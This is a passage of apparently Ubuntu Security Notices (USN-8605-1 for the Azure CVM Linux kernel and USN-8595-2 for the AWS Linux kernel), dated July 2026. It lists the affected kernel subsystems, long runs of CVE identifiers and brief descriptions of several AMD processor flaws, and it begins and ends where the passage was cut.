CVE-2025-71197, CVE-2025-71198, CVE-2025-71199, CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977, CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981, CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986, CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991, CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996, CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000, CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004, CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008, CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012, CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017, CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021, CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025, CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032, CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036, CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044, CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049, CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053, CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057, CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062, CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066, CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070, CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075, CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23079, CVE-2026-23080, CVE-2026-23081, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085, CVE-2026-23086, CVE-2026-23087, CVE-2026-23088, CVE-2026-23089, CVE-2026-23090, CVE-2026-23092, CVE-2026-23093, CVE-2026-23094, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098, CVE-2026-23099, CVE-2026-23100, CVE-2026-23101, CVE-2026-23102, CVE-2026-23103, CVE-2026-23104, CVE-2026-23105, CVE-2026-23106, CVE-2026-23107, CVE-2026-23108, CVE-2026-23109, CVE-2026-23110, CVE-2026-23113, CVE-2026-23114, CVE-2026-23115, CVE-2026-23116, CVE-2026-23118, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121, CVE-2026-23122, CVE-2026-23123, CVE-2026-23124, CVE-2026-23125, CVE-2026-23126, CVE-2026-23128, CVE-2026-23129, CVE-2026-23130, CVE-2026-23131, CVE-2026-23133, CVE-2026-23135, CVE-2026-23136, CVE-2026-23137, CVE-2026-23138, CVE-2026-23139, CVE-2026-23140, CVE-2026-23141, CVE-2026-23142, CVE-2026-23143, CVE-2026-23144, CVE-2026-23145, CVE-2026-23146, CVE-2026-23147, CVE-2026-23148, CVE-2026-23150, CVE-2026-23151, CVE-2026-23152, CVE-2026-23154, CVE-2026-23156, CVE-2026-23157, CVE-2026-23158, CVE-2026-23159, CVE-2026-23160, CVE-2026-23161, CVE-2026-23162, CVE-2026-23163, CVE-2026-23164, CVE-2026-23165, CVE-2026-23166, CVE-2026-23167, CVE-2026-23168, CVE-2026-23169, CVE-2026-23170, CVE-2026-23171, CVE-2026-23172, CVE-2026-23173, CVE-2026-23212, CVE-2026-23272, CVE-2026-23278, CVE-2026-23392, CVE-2026-23427, CVE-2026-23428, CVE-2026-23450, CVE-2026-23455, CVE-2026-31402, CVE-2026-31418, CVE-2026-31436, CVE-2026-31448, CVE-2026-31478, CVE-2026-31607, CVE-2026-31635, CVE-2026-31637, CVE-2026-31649, CVE-2026-31657, CVE-2026-31659, CVE-2026-31668, CVE-2026-31669, CVE-2026-31682, CVE-2026-31685, CVE-2026-31718, CVE-2026-43011, CVE-2026-43037, CVE-2026-43038, CVE-2026-43071, CVE-2026-43083, CVE-2026-43114, CVE-2026-43117, CVE-2026-43125, CVE-2026-43185, CVE-2026-43186, CVE-2026-43197, CVE-2026-43304, CVE-2026-43341, CVE-2026-43376, CVE-2026-43378, CVE-2026-43383, CVE-2026-43384, CVE-2026-43402, CVE-2026-43406, CVE-2026-43407, CVE-2026-43414, CVE-2026-43493, CVE-2026-43501, CVE-2026-45898, CVE-2026-45988, CVE-2026-46039, CVE-2026-46043, CVE-2026-46084, CVE-2026-46115, CVE-2026-46119, CVE-2026-46135, CVE-2026-46185, CVE-2026-46195, CVE-2026-46243, CVE-2026-46244, CVE-2026-46266, CVE-2026-46289, CVE-2026-46290, CVE-2026-46316, CVE-2026-46317, CVE-2026-46325, CVE-2026-53277, CVE-2026-64018, CVE-2026-64034)

USN-8605-1: Linux kernel (Azure CVM) vulnerabilities

Fri, 24 Jul 2026 14:17:44 +0200

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - Foo-over-UDP (FOU); - ARM64 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Drivers core; - Null block device driver; - Bluetooth drivers; - Counter interface drivers; - DMA engine subsystem; - DPLL subsystem; - GPIO subsystem; - GPU drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - On-Chip Interconnect management framework; - IOMMU subsystem; - IRQ chip drivers; - Modular ISDN driver; - LED subsystem; - Multiple devices driver; - UACCE accelerator framework; - MMC subsystem; - Ethernet bonding driver; - Network drivers; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - NVME drivers; - Device tree and open firmware driver; - PHY drivers; - x86 platform drivers; - i.MX PM domains; - SCSI subsystem; - SLIMbus drivers; - SPI subsystem; - TTY drivers; - USB Host Controller drivers; - USB over IP driver; - W1 Dallas's 1-wire bus driver; - Xen hypervisor drivers; - BTRFS file system; - File systems infrastructure; - EFI Variable file system; - Ext4 file system; - FUSE (File system in Userspace); - Network file systems library; - Network file system (NFS) client; - Network file system (NFS) server daemon; - SMB network file system; - Memory Management; - Kernel thread helper (kthread); - Memory management; - Scheduler infrastructure; - Tracing infrastructure; - IPv6 networking; - Netfilter; - NFC subsystem; - io_uring subsystem; - Perf events; - Kernel exit() syscall; - Hibernation control; - Timer subsystem; - BPF subsystem; - Floating proportions library; - Scatterlist API; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAN network layer; - Ceph Core library; - Networking core; - IPv4 networking; - L2TP protocol; - MAC80211 subsystem; - Multipath TCP; - NET/ROM layer; - RxRPC session sockets; - Network traffic control; - SCTP protocol; - SMC sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - ALSA AC97 driver; - Creative Sound Blaster X-Fi driver; - Texas InstrumentS Audio (ASoC/HDA) drivers; - USB sound devices; (CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183, CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187, CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195, CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199, CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977, CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981, CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986, CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991, CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996, CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000, CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004, CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008, CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012, CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017, CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021, CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025, CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032, CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036, CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044, CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049, CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053, CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057, CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062, CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066, CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070, CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075, CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23080, CVE-2026-23081, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085, CVE-2026-23086, CVE-2026-23087, CVE-2026-23088, CVE-2026-23089, CVE-2026-23090, CVE-2026-23092, CVE-2026-23093, CVE-2026-23094, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098, CVE-2026-23099, CVE-2026-23100, CVE-2026-23101, CVE-2026-23102, CVE-2026-23103, CVE-2026-23104, CVE-2026-23105, CVE-2026-23106, CVE-2026-23107, CVE-2026-23108, CVE-2026-23109, CVE-2026-23110, CVE-2026-23113, CVE-2026-23114, CVE-2026-23115, CVE-2026-23116, CVE-2026-23118, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121, CVE-2026-23122, CVE-2026-23123, CVE-2026-23124, CVE-2026-23125, CVE-2026-23126, CVE-2026-23128, CVE-2026-23129, CVE-2026-23130, CVE-2026-23131, CVE-2026-23133, CVE-2026-23135, CVE-2026-23136, CVE-2026-23137, CVE-2026-23138, CVE-2026-23139, CVE-2026-23140, CVE-2026-23141, CVE-2026-23142, CVE-2026-23143, CVE-2026-23144, CVE-2026-23145, CVE-2026-23146, CVE-2026-23147, CVE-2026-23148, CVE-2026-23150, CVE-2026-23151, CVE-2026-23152, CVE-2026-23154, CVE-2026-23156, CVE-2026-23157, CVE-2026-23158, CVE-2026-23159, CVE-2026-23160, CVE-2026-23161, CVE-2026-23162, CVE-2026-23163, CVE-2026-23164, CVE-2026-23165, CVE-2026-23166, CVE-2026-23167, CVE-2026-23168, CVE-2026-23169, CVE-2026-23170, CVE-2026-23171, CVE-2026-23172, CVE-2026-23173, CVE-2026-23212, CVE-2026-23272, CVE-2026-23278, CVE-2026-23392, CVE-2026-23427, CVE-2026-23428, CVE-2026-23450, CVE-2026-23455, CVE-2026-31402, CVE-2026-31418, CVE-2026-31436, CVE-2026-31448, CVE-2026-31478, CVE-2026-31607, CVE-2026-31635, CVE-2026-31637, CVE-2026-31649, CVE-2026-31657, CVE-2026-31659, CVE-2026-31668, CVE-2026-31669, CVE-2026-31682, CVE-2026-31685, CVE-2026-31718, CVE-2026-43011, CVE-2026-43037, CVE-2026-43038, CVE-2026-43071, CVE-2026-43083, CVE-2026-43114, CVE-2026-43117, CVE-2026-43125, CVE-2026-43185, CVE-2026-43186, CVE-2026-43197, CVE-2026-43304, CVE-2026-43341, CVE-2026-43376, CVE-2026-43378, CVE-2026-43383, CVE-2026-43384, CVE-2026-43402, CVE-2026-43406, CVE-2026-43407, CVE-2026-43414, CVE-2026-43493, CVE-2026-43501, CVE-2026-45898, CVE-2026-45988, CVE-2026-46039, CVE-2026-46043, CVE-2026-46084, CVE-2026-46115, CVE-2026-46119, CVE-2026-46135, CVE-2026-46185, CVE-2026-46195, CVE-2026-46243, CVE-2026-46244, CVE-2026-46266, CVE-2026-46289, CVE-2026-46290, CVE-2026-46316, CVE-2026-46317, CVE-2026-46325, CVE-2026-53277, CVE-2026-64018, CVE-2026-64034)

USN-8595-2: Linux kernel (AWS) vulnerabilities

Fri, 24 Jul 2026 14:17:43 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) It was discovered that some AMD Zen 5 processors supporting RDSEED instruction did not properly handle entropy, potentially resulting in the consumption of insufficiently random values. A local attacker could possibly use this issue to influence the values returned by the RDSEED instruction causing loss of confidentiality and integrity. (CVE-2025-62626) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Compute Acceleration Framework; - ACPI drivers; - Serial ATA and Parallel ATA drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - Clock framework and drivers; - Data acquisition framework and drivers; - Counter interface drivers; - CPU frequency scaling framework; - Hardware crypto device drivers; - CXL (Compute Express Link) drivers; - DMA engine subsystem; - EDAC drivers; - EFI core; - GPU drivers; - Greybus drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IRQ chip drivers; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Fastrpc Driver; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Ethernet team driver; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Generic PM domains; - i.MX PM domains; - Remote Processor subsystem; - S/390 drivers; - SCSI subsystem; - SLIMbus drivers; - Freescale SoC drivers; - Microchip PolarFire SoC system controller driver; - SPI subsystem; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - USB Type-C Connector System Software Interface driver; - VFIO drivers; - Framebuffer layer; - TSM TDX Guest driver; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - Journaling layer for block devices (JBD2); - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Diskquota system; - SMB network file system; - SquashFS file system; - Tracing file system; - UDF file system; - XFS file system; - Kernel CPU control infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Memory Management; - Integrity Measurement Architecture(IMA) framework; - KVM subsystem; - Memory management; - Networking core; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Tracing infrastructure; - Network traffic control; - Distributed Switch Architecture; - IPv4 networking; - IP tunnels definitions; - MAC80211 subsystem; - Netfilter; - User-space API (UAPI); - io_uring subsystem; - Audit subsystem; - BPF subsystem; - Control group (cgroup); - Perf events; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - KProbes tracing; - Locking primitives; - Kernel module support; - Padata parallel execution mechanism; - Cryptographic library; - Heterogeneous memory management; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - Landlock security; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - Samsung ASoC drivers; - SoC audio core drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287, CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993, CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171, CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, 